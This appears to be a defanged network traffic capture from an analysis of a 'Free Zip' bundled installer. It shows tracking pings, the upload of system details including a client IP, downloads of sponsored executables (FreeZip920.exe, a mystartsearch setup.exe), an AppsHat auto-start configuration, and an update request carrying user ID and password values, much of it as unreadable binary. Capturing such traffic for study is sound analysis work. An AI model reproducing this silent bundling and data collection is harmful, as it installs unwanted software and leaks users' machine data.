GET /pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=3&index_in_screen=1&index_in_session=3&0.49406081626839315 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/freezipwepv/fc5acaef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5acaef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1033541308.1422581247.1422581247.1422581247.1; __utmb=1.1.10.1422581247; __utmz=1.1422581247.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:28:59 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0......


GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=appshat_madness&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=4&index_in_screen=1&index_in_session=4&0.5660681783444934 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/freezipwepv/fc5acaef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5acaef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1033541308.1422581247.1422581247.1422581247.1; __utmb=1.1.10.1422581247; __utmz=1.1422581247.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:28:59 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 30 Jan 2015 01:28:59 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..


GET / HTTP/1.1

Host: VVV.google.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive




HTTP/1.1 302 Found

Cache-Control: private

Content-Type: text/html; charset=UTF-8

Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=Nd7KVJfhA4eu8weh74DAAQ

Content-Length: 262

Date: Fri, 30 Jan 2015 01:28:21 GMT

Server: GFE/2.0

Alternate-Protocol: 80:quic,p=0.02
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=Nd7KVJfhA4eu
8weh74DAAQ">here</A>...</BODY></HTML>..HTTP/1.1 3
02 Found..Cache-Control: private..Content-Type: text/html; charset=UTF
-8..Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=Nd7KVJfhA4eu8weh7
4DAAQ..Content-Length: 262..Date: Fri, 30 Jan 2015 01:28:21 GMT..Serve
r: GFE/2.0..Alternate-Protocol: 80:quic,p=0.02..<HTML><HEAD&g
t;<meta http-equiv="content-type" content="text/html;charset=utf-8"
>.<TITLE>302 Moved</TITLE></HEAD><BODY>.<
;H1>302 Moved</H1>.The document has moved.<A HREF="hXXp://
VVV.google.com.ua/?gfe_rd=cr&ei=Nd7KVJfhA4eu8weh74DAAQ">here<
;/A>...</BODY></HTML>....


GET /network_adworkmedia_1/freezipwepv/554f1a32df4546428c4cd4ba3636f283?v=2.1&uid=554f1a32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:27:03 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............z...5...........Q....I.|}L;.S.N:.J..$A..O&).nQs-..|
W...w......Lz&.....u...k.......EV.......?N.Y:..Z.d...Z...W.:.....?D.d.
_..u..%.:{.>.H..z7z.f~.a^Kj7.m.....j...:.L...Tv......U..d...]v0_..R
.?^. .]....A....*..7..l...W.w.l...,...y.../?...e...'....1.Z...:.......
......zM..|.L....4Y/.>a.....O...5M.....l.J.}|....|..N...jr5J....*.7
K.X./.YV..|Q....r-~....|>[%7..2_D.....C.G...KL.2..s<xy5...?vv5.a
.................K.*;g.....5...G.u...Z.1...xp...b.>.f.......F-.b...
..v..j.>...C.o.,.....:....E..co.g.|.......Q:....|..._Q.l.8B......Z.
.V...?...F(hkY.{..M.W."]bUO>..kt.|z.....d..i&.\..V...?..`..0.....3C
,v.........[.2.......-.......:?......`~=....y.~5[/?...}..l&... ....Zq.
....J'.9..x....j......e.j.Q.qrk)V.;.........}......1^..?.YNV...Et.....
.]v._...|uy..s...D_qUZb.>4..0&.{...|6...^..u.....-..kI..u6...,..S..
8j...8.......M.....9........ 9...ka.<........>.n.g.D.!._-'ny(1..
...K..V..~..........w_}=x............~......$..V...N1%...>......~){
xiW........^.v.".G2w.t......>...h.wn..Z7...'T....i<j}y.G_~^....c
,|...c..............Q..g~..g~.q..........|........... ..z....~..J.....
....]......|...../?s~......g.g..G....*.w..zT......g}........X........~
6....$]...3....L.(...g...z.4]er#.._..(.a.3...3N...l..6.^CZ.a.J...,....
\eW8.Lsze*e..R.~x.T-..]...s.. ]....j&,k=.{q.q...W..M.u...6e.....Zo.wO.
..P..?...u.9...........d...}hD.........{;S..g.X...F%h.<$..n..X. .-.
/.....P.`......3. [email protected],.}6._.E..[...XY.,.U.{..
..G ..j9....I........]D..V4.jQ....[!t[.*......h.>..].|..P{w..}.
<<< skipped >>>

POST /installer/ajax HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/freezipwepv/554f1a32df4546428c4cd4ba3636f283?v=2.1&uid=554f1a32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept: application/json, text/javascript, */*; q=0.01

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Content-Length: 3758

Connection: Keep-Alive

Cache-Control: no-cache



country=UA&uid_orig=554f1a32df4546428c4cd4ba3636f283&uid=554f1a32df4546428c4cd4ba3636f283&affid=network_adworkmedia_1&sid=freezipwepv&cli_id=&softwareName=Free Zip&installerVersion=2.1&osVersion=6.1.7601 Service Pack 1 64bit&ieVersion=4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)&defaultBrowser="C:Program Files (x86)Mozilla Firefoxfirefox.exe" -osint -url "%1"&defaultBrowserName=ff&originBrowser=ff&hostBrowser=ff&tzo=MTIw&muid=96d78f35e7b7ea4fc32736d428df43b4&cu=false&cd=false&tokyo_csrf_key=eb6989fd084659d2b5209d76ab7da749&tokyo_csrf_timestamp=1422581223&unique_id=7e067d4730d1830d0b187fc9d5748bbc&clientIp=193.138.244.231&ffInstalled=false&dfz=false&avdr=lDKrp/3VMDh61tuJfJlrKXs1VI6ezbhGnJBKbIRjXeIYfcyodTGERY6ZOIkepjCAJ6l5ti1eroI6fZ
HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:27:05 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
f62.............\ms.6.. 8......l%......4s.5.....:...$.....e%..~...")J.
..oIf:...X,v.........e...w..{..<.......*x.p....Dp%...E.;....=....,.
......<.E...hL...}...X.\.)../.(=..[....~,xZ.B2.a....:......y......B
.sE...>......Y..........2..K.c.E.y....U7jj..^<...N.{og.,.Y&x...1
~.T..._.H..D..e..'b.co.%....v.#:........L..S7..2#....ARE^.~..|.l,..!..
....b.7....NC.M.5.#:.X..L....i...B7...3...33...}..Hm...63..S.`le(D.Awi
.{o.*.b%............<..$"wmi9......Y...{O..BI..{..XK*P..t.I..MC...g
Z.%....V...2=.9.......P.........%......V.U...........}.......,Np2.D..S
[email protected][email protected]/ L$$
..)I^I.AZ..R.C....\..;..4O..NnP..;..s.>.J.mn...5...B}j.....}z..$Y..
..Y.z........z,.4....-.X......@...=m.NQb?.u.hXQ....b.k0C..J...Gk......
........(...5........I.uT......D.E7vV..{e..nV...ho...d.&9?.E..z..2..PH
=.....OG{[email protected],.........=D.*...Sb.h....^...FwE..@j._.0*..
..2.....u..y.m#. N...O.@.... ..9D.*0*.~..._..&..Yvhe..|..*.p&...7....1
z......x.?..../..X.2.F...K.."([email protected]...
ID.~;...XJ.....i.L.."~ .......X.;Y.~.....7[Z.J...PE../Q.......O....|..
..<[email protected].<.....D*.1.'....Z..9..;.._0.Tq..<......`
Z&..iP..8...q.....}....R.as<.x..../.vW..!..UQ...8.Z.S.s.x]/...I..U.
[email protected]..@A.....`)...?... ....p...i....J|..V..[e.
;...Ur..[....i..?#.D[[email protected]...`.....K6.q>[email protected]..!.T,X
..........y.!....3^....}....4.'.CF...|....:-#...!I1.c......tR.N...Pa.n
nS...G[.PC.gtC..Ai.>[email protected].. ....e...
<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=ac95071b2cc939a2c3269499acd6d45b&tokyo_csrf2_timestamp=1422581225&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.13565886237683544 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/freezipwepv/554f1a32df4546428c4cd4ba3636f283?v=2.1&uid=554f1a32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1033541308.1422581247.1422581247.1422581247.1; __utmb=1.1.10.1422581247; __utmc=1; __utmz=1.1422581247.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:27:11 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 30 Jan 2015 01:27:11 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=ac95071b2cc939a2c3269499acd6d45b&tokyo_csrf2_timestamp=1422581225&slot_number=1&index_in_screen=1&index_in_session=1&0.017026396957725287 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/freezipwepv/554f1a32df4546428c4cd4ba3636f283?v=2.1&uid=554f1a32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1033541308.1422581247.1422581247.1422581247.1; __utmb=1.1.10.1422581247; __utmc=1; __utmz=1.1422581247.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:27:16 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 30 Jan 2015 01:27:16 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..


GET /software_files/freezip/9_20/FreeZip920.exe HTTP/1.1

Range: bytes=419943-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 30 Jan 2015 01:27:05 GMT

Content-Type: application/octet-stream

Content-Length: 699902

Last-Modified: Tue, 30 Jul 2013 12:25:29 GMT

Connection: close

ETag: "51f7b0b9-111665"

Content-Range: bytes 419943-1119844/1119845
..............Z9...h.U.:..c....<.]O..d.....i....t...u...M...f....})
z3.e.Q..#.=....W...GmF.dG.....w...#..p. ....M.1.....?......i...<"..
...).......P..L...N.....x..}...-..X...o..G.G....I.[.n.6...^.......m...
[email protected]..} .......l.#.....:...$.].. ...{....#...(.A..;q..F@
%....~.|[email protected].=X....m....;...Rj2...Ze...,.b.F..}.o...G...~.!....x...
.....qw.y%D../....u........v.(....n..D...../r....4.....4..zG.k.p7..q..
j..t..U%..f..Hb$7l!..1.A.5R.M.?.[{......o..P.%.K9....D6..x&...X.......
B..G1./..hm..}.`.j=lm`^..2........'=.>... .K*...)WI.......bs..?....
A.8...m..........O....w^..D%h.K.....8.......R........a..^......Pb...r.
#Y.6.n.........1..A...CL...e<,.{.tt....T...[..Bd.&..d.g...}...E.D..
b3.. C......)....%.5.0(D.......q.S..gS.....R...My-.2.'y..v..Ym..X.CK..
.)@s......f.sn<.,...~....;..........LC.c.l..f..XB...y.ldH... ...M.R
j...z...\.x=.T.T&s.?...o@\..f..(..^]...`..F5.5S..!.w."|...j$w.....x...
4k...k.|....-zz.;,.....P.!....U.M..X.......8.w.H.n.....~....I....'o.$.
....;..y...|..>...U..T;M......s...r.c.-..F../...(R?H:..#.......ML.9
[email protected]....~`[email protected]....!......@ ..
...-.....".tY..'..m..s...z0.Y7a.D...E.....`.mC.s.._..........%....G.r.
:..~...l#..8"..Aj...'0./x.[Q..dc.{.*8 &...~Z....3q].8.D..)........7..'
61..D...W.....~.p..R.B......].....f...}.>-....Jd...W.**E......m.`..
X......!....m..CSd.. ...&Bn...h..$...v..............<..=B......]..z
......2....c.Q"....G .R..0Y..L..T....E..Q.'__.v.B....,q..-..(.H{$..7..
.q#....[..p"f.......}8u.nqG.b...U< ...kU...q..4.}f......~D....W
<<< skipped >>>


GET /webplayer/appshat/config.json HTTP/1.1

Accept: */*

If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT

Cache-Control: max-age=0

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.bigspeedpro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:29:26 GMT

Content-Type: application/json

Content-Length: 778

Last-Modified: Mon, 27 Jan 2014 15:16:30 GMT

Connection: close

ETag: "52e6784e-30a"

Accept-Ranges: bytes
{.."group-name": "AppsHat",.."program-name": "AppsHat",.."about-text":
 "Apps Hat\n(c) 2013 Somoto Ltd. All rights reserved\n\nTerms and Cond
itions:\nhXXp://VVV.appshat.com/eula/ahd\n\nPrivacy Policy:\nhXXp://ww
w.appshat.com/privacy/ahd",.."title-icon": "hXXp://VVV.appshat.com/ima
ges/16x16.ico",.."tray-icon": "hXXp://VVV.appshat.com/images/16x16.ico
",.."shortcut-icon": "hXXp://VVV.appshat.com/images/64x64.ico",.."unin
stall": "Apps Hat",.."url": "hXXp://VVV.appshat.com/home",.."width": 1
024,.."height": 795,.."cache": 86400,.."alwaysontop": false,.."program
-version": "2.13",.."start-on-windows": true,.."title": "Apps Hat",.."
tooltip": "Apps Hat",.."minimized": true,.."update-url" : "hXXp://VVV.
bigspeedpro.com/mirror/nerocrossrider/appshatmini/appshatmini_update.e
xe"..}....


GET /monetization.gif?event=3&ibic=4FB4C73F09554441862F9E06CA998CBBIE&verifier=aeee04e8f278dfad4abf88a95210feb1&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1422581366&asw=0_1073750533_-2147475456_0&browser=ff,ie,de&rnd=1422581366 HTTP/1.1

Host: logs.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Date: Fri, 30 Jan 2015 01:29:08 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1422581348.dop003.am4.t,1422581348.cds058.am4.c
GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Fri, 30 Jan 
2015 01:29:08 GMT..Keep-Alive: timeout=10, max=100..Connection: Keep-A
live..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07
 Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 
35..Content-Type: image/gif..X-HW: 1422581348.dop003.am4.t,1422581348.
cds058.am4.c..GIF89a.............,...........D..;..


GET /pca3.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.verisign.com




HTTP/1.1 200 OK

Server: Apache

ETag: "66304c4a5660ab8615727e6bb27b3cdb:1418950819"

Last-Modified: Fri, 19 Dec 2014 01:00:19 GMT

Date: Fri, 30 Jan 2015 01:32:03 GMT

Content-Length: 933

Connection: keep-alive

Content-Type: application/pkix-crl
0...0...0...*.H........0_1.0...U....US1.0...U....VeriSign, Inc.1705..U
....Class 3 Public Primary Certification Authority..141210000000Z..150
331235959Z0..x0!...v....a_>..2......020924164823Z0!.....A.....{2..Y
.#..140129175709Z0!...,.|.|...<...j ...080605174907Z0!...`y..q.....
..fh...020923171400Z0!...?A....a.nF`.P....020923171548Z0!............R
.e.53..010207212458Z0!..!......Y...ISi....010706171411Z0!..$-..I{r....
u<._...080403172226Z0!..&.."?..y..51}..1..010706172118Z0!..4....2..
..{W......080605175030Z0!..B....c............070411175910Z0!..H.Py...N
....* [email protected]!..Y......w
`G........070411175657Z0!..Z`[email protected].*q..080403172017Z0!..l....I..
.Y..] .c..010706171749Z0"......T=deQ...1u.]...010207212247Z0".....p..1
..7<.....e..010207211822Z0...*.H............5..v...V.._)....A... ..
..>.5]....6.(.0uFW.*:T...6$.....R...Y.N.k........%Jn..I.j*.6.3~...r
../[email protected]?....0.A.HTTP/1.1 200 OK..Server: Apache.
.ETag: "66304c4a5660ab8615727e6bb27b3cdb:1418950819"..Last-Modified: F
ri, 19 Dec 2014 01:00:19 GMT..Date: Fri, 30 Jan 2015 01:32:03 GMT..Con
tent-Length: 933..Connection: keep-alive..Content-Type: application/pk
ix-crl..0...0...0...*.H........0_1.0...U....US1.0...U....VeriSign, Inc
.1705..U....Class 3 Public Primary Certification Authority..1412100000
00Z..150331235959Z0..x0!...v....a_>..2......020924164823Z0!.....A..
...{2..Y.#..140129175709Z0!...,.|.|...<...j ...080605174907Z0!...`y
..q.......fh...020923171400Z0!...?A....a.nF`.P....020923171548Z0!.
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=160816-

User-Agent: Better Installer(Mozilla)

Host: d2gv7sxh1xary4.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 160816

Connection: keep-alive

Date: Thu, 29 Jan 2015 10:04:18 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 160816-321631/321632

Age: 105

X-Cache: Hit from cloudfront

Via: 1.1 c2890b1d84d781704a34b9aa5c069d4e.cloudfront.net (CloudFront)

X-Amz-Cf-Id: WIHu4kqqSLkVnnb_WJxzg9RKXbVdcy-2tVX8Y7XLjSsoWUL00neFzQ==
..C...T.C.Zf.1f.0......Ju..............L...@;.v.....~....0....C.......
[email protected]............{......95..C...T.......M._^3.[.G
.....j.h..C.......M..........}......._h.u..q....E.;C...W...h ....jD..Y
......F.........wh.....#.S.u......YY.E..........u..vh..l C...u..Fh= .C
.t.P.....Y.^hS.=h C....Fp...........C........j......Y.e...C..$.C..C..(
.C..C..,.C.3..E....}[email protected].=....}[email protected][email protected].=..
..}[email protected] C...u..H.C.= .C.t.P.....Y..H.C.S...E....
.......0j......Y..%...u .. .C.t.S.....Y..D...........e...E..;.....=..C
..u.j..V...Y....C.....3....U...M.VW..t..}...u..KD..j.^.0..|.....A.U...
u.........>.t.FOu...t. ......B..t.Ou...u......D..j"Y......3._^]...U
..3.S3.@9].|FVW..t>.E.... ....E....<..7.E..0..;..YY..u..M.....9.
.y.N.u....^.;].~._^3......[..]...U..Q..tP.>.tKh.IC.V.....YY..t:h.IC
.V.....YY..u.j..E.Ph... .w....!C...t).E...V..;..Y.E...j..E.Ph... .w...
.!C...u.3....}..u.... C.....U..3.f.M.f;.pIC.t.......r.3.@].3.]...V3.. 
.A.B<.w.......A.<.w..........t......u...^.3...B..A|...Z~...a...w
[email protected]....|.t.C.3..E.VW.}.................jx.E.P..........%.........
PW... [email protected]:..YY..u.W.....Y..t..................
.................M._3.^.&.........U..QV..j..E.P..%....h... .....P...!C
...u.3..);u.t!.}..t..E..0W.......V...m ..Y;._t.3.@^....U....|.t.C.3..E
.SVW.}...................... C...jx.E.P.F.....%.........PW....u..f..3.
@.c....E.P.v..L9..YY........jx.E.P.F.....%.........PW....t..E.P.6..9..
YY..u..N......~..R.F..uO.F...t,P.E.P.6.,:.......u..6.N...~......Y;
<<< skipped >>>


GET /nero/js/crossrider/nero_crossrider_cs.js HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.bigspeedpro.com

DNT: 1

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:31:24 GMT

Content-Type: application/javascript

Last-Modified: Sun, 13 Jul 2014 07:33:59 GMT

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"

Content-Encoding: gzip
2b3.............TQk.0.~...D.,.:.1...A.[K.....|I.:.'.]....I....`.q..}..
.wg^..O...^..M#.-.L.i;..U]q.;U.....|.......P...2..v...1^.......f.e.n..
.(.B...Ix.D..h...c...\.....dKh.d.mxe....}....w.P ..&..v4.`.-...{.:../F
O6. .L[[email protected]]......@<...|o.q....zs.c
..*.8......WDs>(...c.-..E...R%..!.......E#...:._;t.....09.....d.1..
.b....EdU...%.B....$....:..6...5....g.WgM.(...G. ......O..u.a*.,.2<
o...(....dh...........3.(&....OJ.)....n..l.:..qe.Bg.O..{.r....5...tk..
......0jS*..oE.=a.FI.v...6.V.3nNRx.......t.p.R;s...}./.....k..f...J.^S
.. ..M...?w.Q............ j..a.......%}.._pY....I#.....rs6<.9...:..
b.2..S.....f./[p.K..n6.T....M......#._4.z..L.79.../....).=....I.`.&...
..y.......0..


GET /images/64x64.ico HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive




HTTP/1.1 403 Forbidden

Date: Fri, 30 Jan 2015 01:29:26 GMT

Content-Type: text/html

Server: PagespeedRewriteProxy 0.1

Content-Length: 0

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.02
HTTP/1.1 403 Forbidden..Date: Fri, 30 Jan 2015 01:29:26 GMT..Content-T
ype: text/html..Server: PagespeedRewriteProxy 0.1..Content-Length: 0..
X-XSS-Protection: 1; mode=block..Alternate-Protocol: 80:quic,p=0.02..<
/font>....

GET /images/16x16.ico HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive




HTTP/1.1 403 Forbidden

Date: Fri, 30 Jan 2015 01:29:26 GMT

Content-Type: text/html

Server: PagespeedRewriteProxy 0.1

Content-Length: 0

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.02
....


GET /images/16x16.ico HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive




HTTP/1.1 403 Forbidden

Date: Fri, 30 Jan 2015 01:29:26 GMT

Content-Type: text/html

Server: PagespeedRewriteProxy 0.1

Content-Length: 0

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.02
HTTP/1.1 403 Forbidden..Date: Fri, 30 Jan 2015 01:29:26 GMT..Content-T
ype: text/html..Server: PagespeedRewriteProxy 0.1..Content-Length: 0..
X-XSS-Protection: 1; mode=block..Alternate-Protocol: 80:quic,p=0.02..


GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=2b739ee3-657b-4b28-ab6c-93812cc4b452&Password=CuYNL6Dr&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1422581330&SBPIDS=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=4s11le45qfkhc2qxoebayyee




HTTP/1.1 200 OK

Connection: close

Date: Fri, 30 Jan 2015 01:28:29 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 547
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
